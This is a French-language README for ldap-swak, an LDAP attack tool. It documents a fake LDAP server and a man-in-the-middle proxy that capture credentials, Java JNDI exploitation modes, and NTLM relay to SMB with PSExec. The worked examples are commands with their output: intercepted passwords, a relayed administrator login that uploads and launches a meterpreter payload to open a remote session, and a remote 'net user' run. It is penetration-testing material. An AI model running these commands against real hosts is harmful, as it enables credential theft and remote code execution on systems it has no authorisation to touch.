
LDAP Swiss Army Knife
Utilitaire de serveur LDAP multifonction. Configurez rapidement un serveur LDAP à des fins de test, des proxies MitM pour intercepter le trafic en clair ou transmettre des identifiants NTLM, ou exploitez diverses vulnérabilités des clients Java JNDI/LDAP.
Auteur : Moritz Bechler ([email protected]) Dépôt du projet : https://github.com/SySS-Research/ldap-swak
Maven requis.
mvn package verify
-> target/ldap-swak-0.0.5-SNAPSHOT-all.jar
Exécutez simplement le fichier JAR avec la sous-commande et les options appropriées :
> java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar
[...]
LDAP Swiss Army Knife
--accept-pass=<acceptPass>
Accepter la connexion avec ce mot de passe
--accept-user=<acceptUser>
Accepter la connexion avec cet utilisateur
--bind=<bind> Adresse réseau à laquelle se lier
--cert=<certificate> Fichier de certificat à utiliser (PEM, conjointement avec --key)
--fakecert-bits=<fakeCertBitsize>
Taille de clé RSA lors de la génération de la clé privée pour
les faux certificats
Défaut : 2048
--fakecert-cn=<fakeCertCN>
DN du sujet à utiliser lors de la création de faux certificats
Défaut : cn=fake
--fakecert-lifetime=<fakeCertLifetime>
Durée de vie du faux certificat en jours
Défaut : 7
--fakecert-san=<fakeCertSANs>
Noms alternatifs du sujet du faux certificat
--fakecert-sigalg=<fakeCertSigalg>
Algorithme de signature à utiliser lors de la génération de
faux certificats
Défaut : SHA256withRSA
--fakecert-validfrom=<fakeCertValidFrom>
Début de validité du faux certificat
--fakecert-validto=<fakeCertValidTo>
Fin de validité du faux certificat
--key=<privateKey> Fichier de clé privée à utiliser (PEM, conjointement avec
--cert)
--keystore=<keystore> Keystore depuis lequel charger la clé/certificat
--keystore-pass=<keystorePass>
Défaut : changeit
--keystore-type=<keystoreType>
Type de keystore
Défaut : JKS
--nostarttls Désactiver StartTLS
--ntlm-relay=<relayServer>
Relayer l'échange NTLM intercepté vers le serveur SMB pour PSExec
--psexec-cmd=<psexecCMD>
À l'aide des identifiants relayés, exécuter une commande système
via PSExec
--psexec-cmd-log=<psexecCMDLog>
Rediriger la sortie de la commande CMD vers un fichier (chemin du système de fichiers)
--psexec-cmd-script-loc=<psexecCMDScriptLoc>
PARTAGE/Chemin du script de lancement utilisé pour la redirection
de sortie
Défaut : /ADMIN$/Temp/
--psexec-cmd-script-path=<psexecCMDScriptPath>
Système de fichiers local du script de lancement utilisé pour la
redirection de sortie
Défaut : C:\Windows\Temp\
--psexec-display-name=<psexecDisplayName>
Nom d'affichage du service utilisé pour PSExec
--psexec-psh-encode Encoder la charge utile Powershell PSExec
--psexec-script=<psexecPSHScript>
À l'aide des identifiants relayés, exécuter du code Powershell
via PSExec (des limites de taille s'appliquent)
--psexec-script-file=<psexecPSHScriptFile>
À l'aide des identifiants relayés, exécuter du code Powershell
depuis un fichier script via PSExec (des limites de taille s'appliquent)
--psexec-service-name=<psexecServiceName>
Nom du service utilisé pour PSExec
--relay-read-charset=<readFileCharset>
Jeu de caractères pour la lecture des fichiers distants,
pertinent uniquement lors de la sortie
Défaut : UTF-8
--relay-read-from=<readFileSource>
À l'aide des identifiants relayés, lire le fichier depuis ce
partage/chemin cible (PARTAGE/chemin/)
--relay-read-retries=<readFileRetries>
Nombre de tentatives de lecture du fichier, en attendant
éventuellement la fin de la commande, espacées d'1 seconde
Défaut : 5
--relay-read-to=<readFileTarget>
Fichier local pour stocker les données du fichier lu, laisser
vide pour stdout
--relay-write-file=<writeFileSource>
À l'aide des identifiants relayés, écrire ce fichier local sur
le serveur
--relay-write-to=<writeFileTarget>
À l'aide des identifiants relayés, écrire le fichier vers ce
partage/chemin cible (PARTAGE/chemin/)
--request-log Journaliser toutes les requêtes
--schemaless Ne pas fournir de schéma
--server-base-dn=<baseDN>
DN de base à annoncer
--ssl Exécuter un écouteur SSL/TLS
--tls-cipher=<tlsCiphers>
Suites de chiffrement TLS à autoriser
voir https://docs.oracle.
com/javase/9/docs/specs/security/standard-names.html
--tls-proto=<tlsProtocols>
Versions TLS à autoriser (TLS12, TLS11, TLS10, SSLv3,
SSLv2}
--uid-attr=<uidAttrs> Attributs permettant d'extraire le nom d'utilisateur des DN
--write-creds=<writeCreds>
Écrire les identifiants interceptés dans ce fichier (format :
utilisateur mot de passe, un par ligne)
-h, --help Afficher ce message d'aide.
-p, --port=<port> Port à utiliser (défauts : 389 pour le mode normal, 636 pour SSL)
-q, --quiet Afficher uniquement les avertissements et les erreurs
-v, --verbose Spécifiez plusieurs options -v pour augmenter la verbosité.
Par exemple, `-v -v -v` ou `-vvv`
-V, --version afficher les informations de version et quitter
Commandes :
fake Lancer un serveur LDAP factice
proxy Lancer un serveur LDAP proxy
jndi Exploits Java JNDI
Les écouteurs SSL/TLS/StartTLS utilisent un certificat auto-signé si aucun autre certificat n'est fourni. --tls-cipher et --tls-proto peuvent être utilisés pour définir les suites de chiffrement autorisées. Cependant, l'utilisation d'algorithmes hérités nécessite des ajustements du fichier java.security.properties de l'installation Java. Voir https://www.java.com/en/configure_crypto.html
Interceptez simplement les identifiants ou fournissez des données au client.
Options supplémentaires :
--load= Fichier LDIF contenant les données à charger
--schema= Fichier LDIF contenant la définition du schéma
(si le serveur n'est pas exécuté avec --schemaless, un schéma par défaut de base est appliqué)
> java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389
12:52:32.484 INFO FakeServer - Starting StartTLS listener on *:1389
> ldapsearch -H ldap://localhost:1389/ -ZZ -x -D cn=test -w test
ldap_bind: Invalid credentials (49)
=> 12:53:35.653 INFO CredentialsOperationInterceptor - Intercepted credentials cn=test:test
Transmettez toutes les requêtes à un ensemble de serveurs cibles. Cela enregistre également les identifiants interceptés.
Options supplémentaires :
--server= Serveurs backend auxquels se connecter
--proxy-ssl Se connecter aux serveurs backend via SSL
--proxy-starttls Se connecter aux serveurs backend via StartTLS
--srv= Résoudre le serveur backend à partir d'un enregistrement DNS SRV
(par ex. --srv _ldap._tcp.dc._msdcs.<AD-Domain>)
> java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar proxy -p 2389 --server localhost:1389
12:54:19.695 INFO ProxyServer - Starting StartTLS proxy on *:2389
> ldapsearch -H ldap://localhost:2389/ -ZZ -x -D cn=foo -w test -b cn=test
ldap_bind: Invalid credentials (49)
=> 12:54:47.230 INFO CredentialsOperationInterceptor - Intercepted credentials cn=foo:test
Plusieurs modes de serveur factice spécifiques pour exploiter les clients LDAP Java JNDI.
Options :
--ref-class= Classe à charger (ObjectFactory)
--ref-codebase= URL codebase depuis laquelle charger la classe
Pour toutes les requêtes, renvoie un objet de référence JNDI avec une ObjectFactory depuis le classpath spécifié. Lorsqu'un client JNDI effectue une requête avec la sémantique lookup(), cette classe est chargée et l'exécution de code est ainsi obtenue.
Le chargement de classes à distance a été désactivé par défaut à partir de Java 11.0.1, 8u191, 7u201 et 6u211 (CVE-2018-3149).
Des références classiques, redirigeant vers un autre serveur/protocole, peuvent également être spécifiées avec les options :
--ref-address= Adresse de référence (plusieurs possibles)
--ref-factory= Classe factory à utiliser
Options :
--referral= URI à renvoyer comme referral
Les clients JNDI configurés pour suivre les referrals peuvent être redirigés vers des services RMI via des URL rmi:. L'accès à ces services permet des attaques par désérialisation ; sur des versions Java mal configurées ou obsolètes, une RCE peut être obtenue en renvoyant un objet Reference depuis la recherche RMI. (https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/RMIRefServer.java)
Options :
--serialized= Fichier contenant les données sérialisées à renvoyer
Pour toutes les requêtes, renvoie des objets Java sérialisés. Lorsqu'un client JNDI effectue une requête avec la sémantique lookup(), les données fournies seront désérialisées.
Les serveurs LDAP permettent de relayer l'échange NTLM vers un serveur SMB distant. Souvent, cela donne accès aux fichiers du serveur ciblé et aux interfaces RPC avec les permissions du compte utilisateur qui s'authentifie.
Trois opérations de base sur le serveur cible sont implémentées :
L'ordre des opérations est un enchaînement pratique écriture/exécution/lecture.
Par exemple, téléverser et lancer une instance meterpreter :
java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389 --ntlm-relay 192.168.56.101 --relay-write-file /tmp/test.exe --relay-write-to 'ADMIN$/Temp/foo.exe' --psexec-cmd "C:\\Windows\\Temp\\foo.exe"
10:36:53.789 INFO FakeServer - Starting StartTLS listener on *:1389
10:36:56.278 INFO PassTheHashNTLMSASLBindHandler - Have NTLM login administrator@DESKTOP-L96LL3H
10:36:56.325 INFO PassTheHashRunner - Command line %COMSPEC% /b /c start /b /min C:\Windows\Temp\foo.exe
10:36:56.333 INFO PassTheHashRunner - Service already exists
10:36:56.337 INFO PassTheHashRunner - Recreated service
10:36:56.355 INFO PassTheHashRunner - Service start timeout, expected: this is not an actual service binary
[*] Meterpreter session 4 opened (192.168.56.1:8443 -> 192.168.56.101:49696) at 2019-02-19 10:36:56 +0100
Ou, exécuter une commande système et obtenir sa sortie :
java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389 --ntlm-relay 192.168.56.101 --psexec-cmd "net user" --psexec-cmd-log C:\\Windows\\Temp\\test.log --relay-read-from 'ADMIN$/Temp/test.log'
10:39:09.154 INFO FakeServer - Starting StartTLS listener on *:1389
10:39:12.564 INFO PassTheHashNTLMSASLBindHandler - Have NTLM login administrator@DESKTOP-L96LL3H
10:39:12.600 INFO PassTheHashRunner - Command line %COMSPEC% /b /c start /b /min C:\Windows\Temp\launch-1550569151302.cmd
10:39:12.610 INFO PassTheHashRunner - Service already exists
10:39:12.614 INFO PassTheHashRunner - Recreated service
10:39:12.632 INFO PassTheHashRunner - Service start timeout, expected: this is not an actual service binary
User accounts for \\
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
mbechler WDAGUtilityAccount
The command completed with one or more errors.